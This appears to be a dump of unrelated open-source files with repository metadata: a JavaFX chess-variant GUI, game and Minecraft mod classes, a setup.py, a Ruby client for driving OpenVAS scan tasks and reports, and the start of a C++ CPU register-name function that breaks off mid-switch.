allows the user to pick the theme of choice private ComboBox<String> boardThemes = new ComboBox<>(); private Label tableLabel = new Label("Table Themes"); private Label boardLabel = new Label("Board Themes"); private Button closeBtn = new Button("Close"); SettingsWindow(){ display(); } private void display(){ // sets the action for the button (close the window) closeBtn.setOnAction(e -> primaryStage.close()); closeBtn.setPadding(new Insets(2, 5, 5 ,5)); // adding objects to the comboBoxs, setting action of the box. tableThemes.getItems().addAll("wooden", "marble", "space", "secret"); // add all elements of the box here :) boardThemes.getItems().addAll("Grey and White", "Red and Brown", "Glass"); // setting up tableTheme box tableThemes.setValue(tableImage); // sets the current value to the currently selected theme. tableThemes.setPrefSize(125, 25); tableThemes.setOnAction(event -> tableThemeMethod()); // setting up boardTheme board if (boardTheme.equals("RedBrown")) boardThemes.setValue("Red and Brown"); else if (boardTheme.equals("default"))boardThemes.setValue("Grey and White"); else boardThemes.setValue("Glass"); boardThemes.setPrefSize(125, 25); boardThemes.setOnAction(e -> boardThemeMethod()); // building the layout of the scene VBox layout = new VBox(25); // main layout, will contain the others // sub layouts for object placement HBox labels = new HBox(23); labels.getChildren().addAll(tableLabel, boardLabel); labels.setAlignment(Pos.CENTER); HBox combos = new HBox(10); combos.getChildren().addAll(tableThemes, boardThemes); combos.setAlignment(Pos.CENTER); // building the layout layout.getChildren().addAll(labels, combos, closeBtn); layout.setAlignment(Pos.CENTER); layout.setMargin(labels, new Insets(0,0,0 -20,0)); // building and displaying the window (primaryStage) Scene scene = new Scene(layout); scene.getStylesheets().addAll("/Graphics/CSS/StyleSheet.css"); primaryStage.setScene(scene); primaryStage.initModality(Modality.APPLICATION_MODAL); // sets the window to be modal, meaning the underlying window cannot be used until this one is closed. primaryStage.setWidth(300); primaryStage.setHeight(200); primaryStage.setResizable(false); // this window cannot be resized.\ primaryStage.setTitle("Settings"); // window title primaryStage.getIcons().add(new Image(getClass().getResourceAsStream("/Graphics/Images/App.png"))); // window icon primaryStage.show(); // displays the window } private void tableThemeMethod(){ // updates the table value, then redraws board. tableImage = tableThemes.getValue(); System.out.println(); drawTable(); freshBoard(); if (game) drawPieces(); // if there is a game on, draw the pieces. try { // save the user's settings PrintWriter settingsWriter = new PrintWriter(new File("Settings.txt")); settingsWriter.print(boardTheme + "\n" + tableImage + "\n" + pieceTheme); settingsWriter.close(); }catch (FileNotFoundException e) { // ignore } } private void boardThemeMethod(){ if (boardThemes.getValue().equals("Red and Brown")) boardTheme = "RedBrown"; else if (boardThemes.getValue().equals("Grey and White"))boardTheme = "default"; else boardTheme = "glass"; drawTable(); freshBoard(); if (game) drawPieces(); updateLastMoveImage(); try { // save the user's settings PrintWriter settingsWriter = new PrintWriter(new File("Settings.txt")); settingsWriter.print(boardTheme + "\n" + tableImage + "\n" + pieceTheme); settingsWriter.close(); }catch (FileNotFoundException e) { // ignore } } } private class DirectionsWindow{ private Stage primaryStage = new Stage(); private Button closeButton = new Button("Close"); private VBox layout = new VBox(10); private Label howTOPlay = new Label("How to Play"); private Text text = new Text(); private DirectionsWindow(){ display(); text.setText("This game is pretty much chess, but turned inside out... the rules are as follows:\n" + "1. The board size is now 5 x 5.\n" + "2. Each player will have five pawns, a rook, a knight, a bishop, a queen and a king.\n" + "\t Piece movements are the same as the are in normal chess except the pawn can only advance one square at a time.\n" + "3. Each chess piece follows the same movement/pattern as regular chess.\n" + "4. Capturing is compulsory. When more than one capture is available, the player may choose.\n" + "5. The king has no royal power and accordingly:\n" + "\tIt may be captured like any other piece.\n" + "\tThere is no check or checkmate.\n" + "\tThere is no castling.\n" + "6. A pawn will be promoted to a King when it reached the other side of the board.\n" + "7. A player wins by losing all his pieces\n" + "8. If a player cannot make a move, the winner is the player with the least number of piece (regardless of the piece).\n" + "9. The game is also a stalemate when a win is impossible\n" + "\tA player cannot make a move and there is the same number of piece for both players.\n" + "10. The side to make the first move is determined prior to the start of a game.\n\n" + "Board Rules:\n" + "Undo and Redo buttons can only be used if you play against the AI. If someone outsmarts you in one on one,\n" + " you don't deserve a redo :P.\n\n" + "Final Thoughts: Enjoy the game! :)"); text.setFont(Font.font("Arial")); } private void display(){ // setting up close button function closeButton.setOnAction(e -> primaryStage.close()); // building the layout layout.getChildren().addAll(howTOPlay, text, closeButton); layout.setAlignment(Pos.CENTER); //setting up the window Scene scene = new Scene(layout); primaryStage.setScene(scene); primaryStage.setTitle("Learn to Play!"); primaryStage.getIcons().addAll(new Image(getClass().getResourceAsStream("/Graphics/Images/App.png"))); primaryStage.setResizable(false); primaryStage.setWidth(800); primaryStage.setHeight(500); primaryStage.show(); } } // ------------------------------ Threading classes ------------------------------------- private class AIThread implements Runnable{ private AI watson; private AIThread(Player player, Board board){ this.watson = new AI(player, board); Thread Watson = Thread.currentThread(); Watson.setName("AI Thread"); // Names this thead } @Override public void run() { SpecialCoord specialCoord = watson.play(board); Platform.runLater(new Runnable() { // this will run the needed operations in the FX thread. @Override public void run() { board.setLocked(false); // after the AI plays, unlock the board so the player can play // updating the graphic elements if (specialCoord == null) checkWinner(); else { // now we highlight the piece at its move for the last state image graphics.strokeRect((specialCoord.getPiece().getCoords().getX() + 1) * 100 + 52, (specialCoord.getPiece().getCoords().getY() + 1) * 100 - 48, 98, 98);// highlight the piece tile in blue if (board.getPiece(specialCoord.getY(), specialCoord.getX()) == null){ // if the space we are going to is empty graphics.setStroke(Color.YELLOW); graphics.strokeRect((specialCoord.getX() + 1) * 100 + 52, (specialCoord.getY() + 1) * 100 - 48, 98, 98);// highlight the move yellow }else{ // if the space we are going to is an attack graphics.setStroke(Color.RED); graphics.strokeRect((specialCoord.getX() + 1) * 100 + 52, (specialCoord.getY() + 1) * 100 - 48, 98, 98);// highlight the move red } graphics.setStroke(Color.AQUA); // reset color for next piece highlighting board.makeMove(board.getPiece(specialCoord.getPiece().getCoords().getY(), specialCoord.getPiece().getCoords().getX()), specialCoord.getY(), specialCoord.getX()); updateLastMoveImage(); freshBoard(); drawPieces(); checkWinner(); if (board.getCurrentPlayer().getPlayerNumber() == 0) statusLbl.setText("Black's Turn"); else statusLbl.setText("White's turn."); } } }); } } }
shinn16/Chess
src/GUI/Controller.java
Java
gpl-3.0
46,008
/* * Copyright 2016 Nathan Howard * * This file is part of OpenGrave * * OpenGrave is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * OpenGrave is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OpenGrave. If not, see <http://www.gnu.org/licenses/>. */ package com.opengrave.common; import java.util.ArrayList; import java.util.HashMap; import java.util.UUID; import com.opengrave.common.inventory.ItemMaterial; import com.opengrave.common.inventory.ItemType; import com.opengrave.common.world.CommonObject; import com.opengrave.common.world.CommonProcess; import com.opengrave.common.world.CommonWorld; import com.opengrave.common.world.ProcessProvision; public class ModSession { boolean loadFinished = false; ArrayList<ItemMaterial> materialList = new ArrayList<ItemMaterial>(); ArrayList<ItemType> itemTypes = new ArrayList<ItemType>(); ArrayList<CommonWorld> worldList = new ArrayList<CommonWorld>(); ArrayList<CommonProcess> processList = new ArrayList<CommonProcess>(); HashMap<UUID, ArrayList<ProcessProvision>> processHash = new HashMap<UUID, ArrayList<ProcessProvision>>(); ObjectStorage objectList = new ObjectStorage(); public CommonProcess addProcess(String processName, ArrayList<String> vars) { CommonProcess process = new CommonProcess(processName, vars); synchronized (processList) { if (!processList.contains(process)) { processList.add(process); } } return process; } public CommonProcess getProcess(String processName) { synchronized (processList) { for (CommonProcess proc : processList) { if (proc.getProcessName().equalsIgnoreCase(processName)) { return proc; } } } return null; } public void addObjectProcess(UUID id, CommonProcess proc, ArrayList<Float> vars) { CommonObject obj = getObjectStorage().getObject(id); if (proc == null) { System.out.println("No process : '" + proc + "'"); return; } if (obj == null) { System.out.println("No object with id " + id.toString()); return; } if (vars.size() != proc.getVariables().size()) { System.out.println("Variables for process don't match."); return; } synchronized (processHash) { if (!processHash.containsKey(id)) { processHash.put(id, new ArrayList<ProcessProvision>()); } ProcessProvision pp = new ProcessProvision(proc, vars); processHash.get(id).add(pp); } } public ArrayList<ProcessProvision> getProcessObject(UUID id) { ArrayList<ProcessProvision> copyList = new ArrayList<ProcessProvision>(); synchronized (processHash) { if (processHash.containsKey(id)) { for (ProcessProvision prov : processHash.get(id)) { copyList.add(prov); } } } return copyList; } public void add(ItemMaterial im) { if (loadFinished) { throw new RuntimeException("Can not add new materials after mods finish loading"); } synchronized (materialList) { materialList.add(im); } } public void add(ItemType itemType) { if (loadFinished) { throw new RuntimeException("Can not add new item types after mods finish loading"); } synchronized (itemTypes) { itemTypes.add(itemType); } } public ItemType getItemType(String id) { synchronized (itemTypes) { for (ItemType it : itemTypes) { if (id.equalsIgnoreCase(it.getID())) { return it; } } } return null; } public ArrayList<ItemMaterial> getMaterials() { ArrayList<ItemMaterial> nM = new ArrayList<ItemMaterial>(); synchronized (materialList) { for (ItemMaterial iM : materialList) { nM.add(iM); } } return nM; } public ArrayList<ItemType> getItemTypes() { ArrayList<ItemType> iT = new ArrayList<ItemType>(); synchronized (itemTypes) { for (ItemType it : itemTypes) { iT.add(it); } } return iT; } public CommonWorld addWorld(String string) { if (loadFinished) { throw new RuntimeException("Can not add new worlds after mods finish loading"); } CommonWorld world = new CommonWorld(string); synchronized (worldList) { worldList.add(world); } world.loadInThread(this); return world; } public ArrayList<CommonWorld> getWorlds() { ArrayList<CommonWorld> newList = new ArrayList<CommonWorld>(); synchronized (worldList) { for (CommonWorld world : worldList) { newList.add(world); } } return newList; } public ObjectStorage getObjectStorage() { return objectList; } }
AperiStudios/OpenGrave
src/main/java/com/opengrave/common/ModSession.java
Java
gpl-3.0
4,818
package net.lomeli.magiks.api.machines; import java.util.Arrays; import java.util.HashMap; import java.util.List; import java.util.Map; import net.minecraft.item.ItemStack; public class OreCrusherManager { private static final OreCrusherManager instance = new OreCrusherManager(); @SuppressWarnings("rawtypes") private Map crushableOre = new HashMap(); private HashMap<List<Integer>, ItemStack> metaCrushableOre = new HashMap<List<Integer>, ItemStack>(); public static final OreCrusherManager getInstance() { return instance; } private OreCrusherManager() { } @SuppressWarnings("unchecked") public void addCrushRecipe(int itemID, ItemStack itemStack) { this.crushableOre.put(Integer.valueOf(itemID), itemStack); } public void addCrushRecipe(int itemID, ItemStack itemStack, int metadata) { this.metaCrushableOre.put(Arrays.asList(itemID, metadata), itemStack); } public ItemStack getCrushResult(ItemStack item) { if(item == null) return null; ItemStack ret = metaCrushableOre.get(Arrays.asList(item.itemID, item.getItemDamage())); if(ret != null) return ret; return (ItemStack)crushableOre.get(Integer.valueOf(item.itemID)); } @SuppressWarnings("rawtypes") public Map getCrushableList() { return this.crushableOre; } }
Lomeli12/MechroMagiks
common/net/lomeli/magiks/api/machines/OreCrusherManager.java
Java
gpl-3.0
1,412
/* * Copyright (C) 2013-2022 Byron 3D Games Studio (www.b3dgs.com) Pierre-Alexandre (contact@b3dgs.com) * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ package com.b3dgs.lionheart.object.feature; import com.b3dgs.lionengine.Animation; import com.b3dgs.lionengine.LionEngineException; import com.b3dgs.lionengine.Medias; import com.b3dgs.lionengine.Mirror; import com.b3dgs.lionengine.Tick; import com.b3dgs.lionengine.Updatable; import com.b3dgs.lionengine.UtilMath; import com.b3dgs.lionengine.game.AnimationConfig; import com.b3dgs.lionengine.game.FeatureProvider; import com.b3dgs.lionengine.game.feature.Animatable; import com.b3dgs.lionengine.game.feature.FeatureGet; import com.b3dgs.lionengine.game.feature.FeatureInterface; import com.b3dgs.lionengine.game.feature.FeatureModel; import com.b3dgs.lionengine.game.feature.Identifiable; import com.b3dgs.lionengine.game.feature.Mirrorable; import com.b3dgs.lionengine.game.feature.Recyclable; import com.b3dgs.lionengine.game.feature.Routine; import com.b3dgs.lionengine.game.feature.Services; import com.b3dgs.lionengine.game.feature.Setup; import com.b3dgs.lionengine.game.feature.Spawner; import com.b3dgs.lionengine.game.feature.Transformable; import com.b3dgs.lionengine.game.feature.launchable.Launcher; import com.b3dgs.lionengine.game.feature.rasterable.Rasterable; import com.b3dgs.lionengine.graphic.engine.SourceResolutionProvider; import com.b3dgs.lionheart.Music; import com.b3dgs.lionheart.MusicPlayer; import com.b3dgs.lionheart.RasterType; import com.b3dgs.lionheart.ScreenShaker; import com.b3dgs.lionheart.Settings; import com.b3dgs.lionheart.WorldType; import com.b3dgs.lionheart.constant.Anim; import com.b3dgs.lionheart.constant.Folder; import com.b3dgs.lionheart.landscape.ForegroundWater; /** * Boss Underworld feature implementation. * <ol> * <li>Spawn from hole.</li> * <li>Track player horizontally.</li> * <li>Attack player.</li> * <li>Move down.</li> * <li>Spawn turtles.</li> * <li>Rise.</li> * </ol> */ @FeatureInterface public final class BossUnderworld extends FeatureModel implements Routine, Recyclable { private static final int SPAWN_DELAY_MS = 6_000; private static final int ATTACK_DELAY_MS = 10_000; private static final int DOWN_DELAY_MS = 3_000; private static final double RAISE_SPEED = 0.5; private static final double RAISE_MAX = -8; private static final double RAISE_MIN = -80; private static final double EFFECT_SPEED = 4.0; private static final double EFFECT_AMPLITUDE = 4.0; private final Trackable target = services.get(Trackable.class); private final SourceResolutionProvider source = services.get(SourceResolutionProvider.class); private final MusicPlayer music = services.get(MusicPlayer.class); private final ScreenShaker shaker = services.get(ScreenShaker.class); private final Spawner spawner = services.get(Spawner.class); private final ForegroundWater water = services.get(ForegroundWater.class); private final Tick tick = new Tick(); private final Animation idle; private Updatable updater; private boolean attack; private double effectY; @FeatureGet private Transformable transformable; @FeatureGet private Mirrorable mirrorable; @FeatureGet private Animatable animatable; @FeatureGet private Launcher launcher; @FeatureGet private Rasterable rasterable; @FeatureGet private Identifiable identifiable; @FeatureGet private Stats stats; /** * Create feature. * * @param services The services reference (must not be <code>null</code>). * @param setup The setup reference (must not be <code>null</code>). * @throws LionEngineException If invalid arguments. */ public BossUnderworld(Services services, Setup setup) { super(services, setup); idle = AnimationConfig.imports(setup).getAnimation(Anim.IDLE); } /** * Update spawn delay. * * @param extrp The extrapolation value. */ private void updateSpawn(double extrp) { tick.update(extrp); if (tick.elapsedTime(source.getRate(), SPAWN_DELAY_MS)) { updater = this::updateRaise; shaker.start(); attack = false; } } /** * Update raise phase until max. * * @param extrp The extrapolation value. */ private void updateRaise(double extrp) { transformable.moveLocationY(extrp, RAISE_SPEED); if (transformable.getY() > RAISE_MAX) { transformable.teleportY(RAISE_MAX); updater = this::updateAttack; launcher.setLevel(attack ? 2 : 1); launcher.fire(); tick.restart(); } } /** * Update attack phase. * * @param extrp The extrapolation value. */ private void updateAttack(double extrp) { transformable.setLocationY(RAISE_MAX + UtilMath.sin(effectY) * EFFECT_AMPLITUDE); effectY = UtilMath.wrapAngleDouble(effectY + EFFECT_SPEED); tick.update(extrp); if (tick.elapsedTime(source.getRate(), ATTACK_DELAY_MS)) { updater = this::updateMoveDown; shaker.start(); } } /** * Update move down phase. * * @param extrp The extrapolation value. */ private void updateMoveDown(double extrp) { transformable.moveLocationY(extrp, -RAISE_SPEED); if (transformable.getY() < RAISE_MIN) { transformable.teleportY(RAISE_MIN); updater = this::updateAttackDown; launcher.setLevel(0); launcher.fire(); tick.restart(); } } /** * Update attack once moved down. * * @param extrp The extrapolation value. */ private void updateAttackDown(double extrp) { tick.update(extrp); if (tick.elapsedTime(source.getRate(), DOWN_DELAY_MS)) { updater = this::updateRaise; attack = !attack; shaker.start(); tick.restart(); } } /** * Update mirror depending on player location. */ private void updateMirror() { if (transformable.getX() > target.getX()) { mirrorable.mirror(Mirror.NONE); } else { mirrorable.mirror(Mirror.HORIZONTAL); } } @Override public void prepare(FeatureProvider provider) { super.prepare(provider); if (RasterType.CACHE == Settings.getInstance().getRaster()) { launcher.addListener(l -> l.ifIs(Underwater.class, u -> u.loadRaster("raster/underworld/underworld/"))); } identifiable.addListener(id -> music.playMusic(Music.BOSS_WIN)); stats.addListener(new StatsListener() { @Override public void notifyNextSword(int level) { // Nothing to do } @Override public void notifyDead() { water.stopRaise(); spawner.spawn(Medias.create(Folder.ENTITY, WorldType.UNDERWORLD.getFolder(), "Floater3.xml"), 208, 4); spawner.spawn(Medias.create(Folder.ENTITY, WorldType.UNDERWORLD.getFolder(), "Floater3.xml"), 240, 4); } }); } @Override public void update(double extrp) { updater.update(extrp); updateMirror(); } @Override public void recycle() { updater = this::updateSpawn; animatable.play(idle); effectY = 0.0; tick.restart(); } }
b3dgs/lionheart-remake
lionheart-game/src/main/java/com/b3dgs/lionheart/object/feature/BossUnderworld.java
Java
gpl-3.0
8,280
from setuptools import setup setup(name="waterworks", version="0.0.0", description="Message agregation daemon.", url="https://github.com/Aeva/waterworks", author="Aeva Palecek", author_email="aeva.ntsc@gmail.com", license="GPLv3", packages=["waterworks"], zip_safe=False, entry_points = { "console_scripts" : [ "waterworks=waterworks.waterworks:start_daemon", ], }, install_requires = [ ])
Aeva/waterworks
setup.py
Python
gpl-3.0
508
/** * This file is part of BP generator. * * BP generator is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * BP generator is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * BP generator. If not, see <http://www.gnu.org/licenses/>. * * @link https://github.com/dsx75/bp-gen * @copyright (C) Dominik Smatana 2014 */ package eu.bp.gen1.pages; import eu.bp.data.Data; /** * * @author Dominik Smatana <dominik.smatana@gmail.com> */ public class SkLedS2720 extends BasePage implements Page { public SkLedS2720() { this.url = "sk/produkty/SMD5630_LED_ziarovka_E27_tepla/"; this.language = "sk"; this.title = "SMD5630 LED žiarovka E27 (teplá biela)"; this.h1 = "SMD5630 LED žiarovka E27 (teplá biela)"; this.product = Data.createProduct(13); } }
dsx75/bp-gen
src/eu/bp/gen1/pages/SkLedS2720.java
Java
gpl-3.0
1,263
#!/usr/bin/env ruby # # This plugin provides integration with OpenVAS. Written by kost and # averagesecurityguy. # # Distributed under MIT license: # http://www.opensource.org/licenses/mit-license.php # require 'socket' require 'timeout' require 'openssl' require 'rexml/document' require 'rexml/text' require 'base64' # OpenVASOMP module # # Usage: require 'openvas-omp' module OpenVASOMP #------------------------------ # Error Classes #------------------------------ class OMPError < :: RuntimeError attr_accessor :reason def initialize(reason = '') self.reason = reason end def to_s "OpenVAS OMP: #{self.reason}" end end class OMPConnectionError < OMPError def initialize self.reason = "Could not connect to server" end end class OMPResponseError < OMPError def initialize self.reason = "Error in OMP request/response" end end class OMPAuthError < OMPError def initialize self.reason = "Authentication failed" end end class XMLParsingError < OMPError def initialize self.reason = "XML parsing failed" end end #------------------------------ # Connection Class #------------------------------ class OpenVASConnection attr_accessor :socket, :bufsize, :debug def initialize(host="127.0.0.1", port=9390, debug=false) @host = host @port = port @socket = nil @bufsize = 16384 @debug = debug end def connect if @debug then puts "Connecting to server #{@host} on port #{@port}" end plain_socket = TCPSocket.open(@host, @port) ssl_context = OpenSSL::SSL::SSLContext.new() @socket = OpenSSL::SSL::SSLSocket.new(plain_socket, ssl_context) @socket.sync_close = true @socket.connect end def disconnect if @debug then puts "Closing connection to server #{@host} on port #{@port}" end if @socket then @socket.close end end def sendrecv(data) # Send the data if @debug then puts "Preparing to send data" end if not @socket then connect end if @debug then puts "SENDING: " + data end @socket.puts(data) # Receive the response resp = '' size = 0 begin begin timeout(@read_timeout) { a = @socket.sysread(@bufsize) size = a.length resp << a } rescue Timeout::Error size = 0 rescue EOFError raise OMPResponseError end end while size >= @bufsize if @debug then puts "RECEIVED: " + resp end return resp end end #------------------------------ # OpenVASOMP class #------------------------------ class OpenVASOMP # initialize object: try to connect to OpenVAS using URL, user and password attr_reader :targets, :tasks, :configs, :formats, :reports def initialize(user="openvas", pass="openvas", host="localhost", port=9392, debug=false) @debug = debug @token = '' @server = OpenVASConnection.new(host, port, debug) @server.connect login(user, pass) @configs = nil @tasks = nil @targets = nil @formats = nil @reports = nil config_get_all task_get_all target_get_all format_get_all report_get_all end #-------------------------- # Low level commands. Only # used by OpenVASOMP class. #-------------------------- # Nests a string inside an XML tag specified by root def xml_str(root, str) return "<#{root}>#{str}</#{root}>" end # Creates an XML root with child elements specified by a hash def xml_elems(root, elems) xml = REXML::Element.new(root) elems.each do |key, val| e = xml.add_element(key) e.text = val end return xml.to_s end # Creates and XML element with attributes specified by a hash def xml_attrs(elem, attribs) xml = REXML::Element.new(elem) attribs.each do |key, val| xml.attributes[key] = val end return xml.to_s end # Send authentication string and return an XML object (authentication token) def auth_request_xml(request) if @debug puts "Sending Request: #{request}" end resp = @server.sendrecv(request) begin docxml = REXML::Document.new(resp) status = docxml.root.attributes['status'].to_i status_text = docxml.root.attributes['status_text'] if @debug puts "Status: #{status}" puts "Status Text: #{status_text}" end rescue raise XMLParsingError end return status, status_text end # Send string request wrapped with authentication XML and return # an XML object def omp_request_xml(request) if @debug puts "Sending Request: #{request}" end resp = @server.sendrecv(@token + request) begin # Wrap the response in XML tags to use next_element properly. docxml = REXML::Document.new("<response>" + resp + "</response>") resp = docxml.root.elements['authenticate_response'].next_element status = resp.attributes['status'].to_i status_text = resp.attributes['status_text'] if @debug puts "Status: #{status}" puts "Status Text: #{status_text}" end rescue raise XMLParsingError end return status, status_text, resp end #-------------------------- # Class API methods. #-------------------------- # Sets debug level def debug(value) if value == 0 @debug = false @server.debug = false return "Debug is deactivated." else @debug = true @server.debug = true return "Debug is activated." end end # get OMP version (you don't need to be authenticated) def get_version status, status_text, resp = omp_request_xml("<get_version/>") begin version = resp.elements['version'].text return version rescue raise XMLParsingError end end # login to OpenVAS server. # if successful returns authentication XML for further usage # if unsuccessful returns empty string def login(user, pass) creds = xml_elems("credentials", {"username"=> user, "password" => pass}) req = xml_str("authenticate", creds) status, status_text = auth_request_xml(req) if status == 200 @token = req else raise OMPAuthError end end # Logout by disconnecting from the server and deleting the # authentication string. There are no sessions in OMP, must # send the credentials every time. def logout @server.disconnect() @token = '' end #------------------------------ # Target Functions #------------------------------ # OMP - Get all targets for scanning and returns array of hashes # with following keys: id,name,comment,hosts,max_hosts,in_use # # Usage: # array_of_hashes = target_get_all() # def target_get_all() begin status, status_text, resp = omp_request_xml("<get_targets/>") list = Array.new resp.elements.each('//get_targets_response/target') do |target| td = Hash.new td["id"] = target.attributes["id"] td["name"] = target.elements["name"].text td["comment"] = target.elements["comment"].text td["hosts"] = target.elements["hosts"].text td["max_hosts"] = target.elements["max_hosts"].text td["in_use"] = target.elements["in_use"].text list.push td end @targets = list return list rescue raise OMPResponseError end end # OMP - Create target for scanning # # Usage: # # target_id = ov.target_create("name"=>"localhost", # "hosts"=>"127.0.0.1","comment"=>"yes") # def target_create(name, hosts, comment) req = xml_elems("create_target", {"name"=>name, "hosts"=>hosts, "comment"=>comment}) begin status, status_text, resp = omp_request_xml(req) target_get_all return "#{status_text}: #{resp.attributes['id']}" rescue raise OMPResponseError end end # OMP - Delete target # # Usage: # # ov.target_delete(target_id) # def target_delete(id) target = @targets[id.to_i] if not target raise OMPError.new("Invalid target id.") end req = xml_attrs("delete_target",{"target_id" => target["id"]}) begin status, status_text, resp = omp_request_xml(req) target_get_all return status_text rescue raise OMPResponseError end end #-------------------------- # Task Functions #-------------------------- # In short: Create a task. # # The client uses the create_task command to create a new task. # def task_create(name, comment, config_id, target_id) config = @configs[config_id.to_i] target = @targets[target_id.to_i] config = xml_attrs("config", {"id"=>config["id"]}) target = xml_attrs("target", {"id"=>target["id"]}) namestr = xml_str("name", name) commstr = xml_str("comment", comment) req = xml_str("create_task", namestr + commstr + config + target) begin status, status_text, resp = omp_request_xml(req) task_get_all return "#{status_text}: #{resp.attributes['id']}" rescue raise OMPResponseError end end # In short: Delete a task. # # The client uses the delete_task command to delete an existing task, # including all reports associated with the task. # def task_delete(task_id) task = @tasks[task_id.to_i] if not task raise OMPError.new("Invalid task id.") end req = xml_attrs("delete_task",{"task_id" => task["id"]}) begin status, status_text, resp = omp_request_xml(req) task_get_all return status_text rescue raise OMPResponseError end end # In short: Get all tasks. # # The client uses the get_tasks command to get task information. # def task_get_all() begin status, status_text, resp = omp_request_xml("<get_tasks/>") list = Array.new resp.elements.each('//get_tasks_response/task') do |task| td = Hash.new td["id"] = task.attributes["id"] td["name"] = task.elements["name"].text td["comment"] = task.elements["comment"].text td["status"] = task.elements["status"].text td["progress"] = task.elements["progress"].text list.push td end @tasks = list return list rescue raise OMPResponseError end end # In short: Manually start an existing task. # # The client uses the start_task command to manually start an existing # task. # def task_start(task_id) task = @tasks[task_id.to_i] if not task raise OMPError.new("Invalid task id.") end req = xml_attrs("start_task",{"task_id" => task["id"]}) begin status, status_text, resp = omp_request_xml(req) return status_text rescue raise OMPResponseError end end # In short: Stop a running task. # # The client uses the stop_task command to manually stop a running # task. # def task_stop(task_id) task = @tasks[task_id.to_i] if not task raise OMPError.new("Invalid task id.") end req = xml_attrs("stop_task",{"task_id" => task["id"]}) begin status, status_text, resp = omp_request_xml(req) return status_text rescue raise OMPResponseError end end # In short: Pause a running task. # # The client uses the pause_task command to manually pause a running # task. # def task_pause(task_id) task = @tasks[task_id.to_i] if not task raise OMPError.new("Invalid task id.") end req = xml_attrs("pause_task",{"task_id" => task["id"]}) begin status, status_text, resp = omp_request_xml(req) return status_text rescue raise OMPResponseError end end # In short: Resume task if stopped, else start task. # # The client uses the resume_or_start_task command to manually start # an existing task, ensuring that the task will resume from its # previous position if the task is in the Stopped state. # def task_resume_or_start(task_id) task = @tasks[task_id.to_i] if not task raise OMPError.new("Invalid task id.") end req = xml_attrs("resume_or_start_task",{"task_id" => task["id"]}) begin status, status_text, resp = omp_request_xml(req) return status_text rescue raise OMPResponseError end end # In short: Resume a puased task # # The client uses the resume_paused_task command to manually resume # a paused task. # def task_resume_paused(task_id) task = @tasks[task_id.to_i] if not task raise OMPError.new("Invalid task id.") end req = xml_attrs("resume_paused_task",{"task_id" => task["id"]}) begin status, status_text, resp = omp_request_xml(req) return status_text rescue raise OMPResponseError end end #-------------------------- # Config Functions #-------------------------- # OMP - get configs and returns hash as response # hash[config_id]=config_name # # Usage: # # array_of_hashes=ov.config_get_all() # def config_get_all() begin status, status_text, resp = omp_request_xml("<get_configs/>") list = Array.new resp.elements.each('//get_configs_response/config') do |config| c = Hash.new c["id"] = config.attributes["id"] c["name"] = config.elements["name"].text list.push c end @configs = list return list rescue raise OMPResponseError end end #-------------------------- # Format Functions #-------------------------- # Get a list of report formats def format_get_all() begin status, status_text, resp = omp_request_xml("<get_report_formats/>") if @debug then print resp end list = Array.new resp.elements.each('//get_report_formats_response/report_format') do |report| td = Hash.new td["id"] = report.attributes["id"] td["name"] = report.elements["name"].text td["extension"] = report.elements["extension"].text td["summary"] = report.elements["summary"].text list.push td end @formats = list return list rescue raise OMPResponseError end end #-------------------------- # Report Functions #-------------------------- # Get a list of reports def report_get_all() begin status, status_text, resp = omp_request_xml("<get_reports/>") list = Array.new resp.elements.each('//get_reports_response/report') do |report| td = Hash.new td["id"] = report.attributes["id"] td["task"] = report.elements["report/task/name"].text td["start_time"] = report.elements["report/scan_start"].text td["stop_time"] = report.elements["report/scan_end"].text list.push td end @reports = list return list rescue raise OMPResponseError end end def report_delete(report_id) report = @reports[report_id.to_i] if not report raise OMPError.new("Invalid report id.") end req = xml_attrs("delete_report",{"report_id" => report["id"]}) begin status, status_text, resp = omp_request_xml(req) report_get_all return status_text rescue raise OMPResponseError end end # Get a report by id. Must also specify the format_id def report_get_by_id(report_id, format_id) report = @reports[report_id.to_i] if not report raise OMPError.new("Invalid report id.") end format = @formats[format_id.to_i] if not format raise OMPError.new("Invalid format id.") end req = xml_attrs("get_reports", {"report_id"=>report["id"], "format_id"=>format["id"]}) begin status, status_text, resp = omp_request_xml(req) rescue raise OMPResponseError end if status == "404" raise OMPError.new(status_text) end content_type = resp.elements["report"].attributes["content_type"] report = resp.elements["report"].to_s if report == nil raise OMPError.new("The report is empty.") end # XML reports are in XML format, everything else is base64 encoded. if content_type == "text/xml" return report else return Base64.decode64(report) end end end end
cSploit/android.MSF
lib/openvas/openvas-omp.rb
Ruby
gpl-3.0
17,262
/* CPU_X86_32.cpp Copyright (C) 2008 Stephen Torri This file is part of Libreverse. Libreverse is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3, or (at your option) any later version. Libreverse is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "CPU_X86_32.h" #include "errors/IO_Exception.h" namespace reverse { namespace mach_module { string CPU_X86_32::get_Register_Name ( uint32_t index ) { // Bouml preserved body begin 0001F437 if ( index > GS ) { throw errors::IO_Exception ( errors::IO_Exception::INVALID_INDEX ); } std::string name = ""; switch ( index ) { case EAX: name = "EAX"; break; case EBX: name = "EBX"; break; case ECX: name = "ECX"; break; case EDX: name = "EDX"; break; case EDI: name = "EDI"; break; case ESI: name = "ESI"; break; case EBP: name = "EBP"; break; case 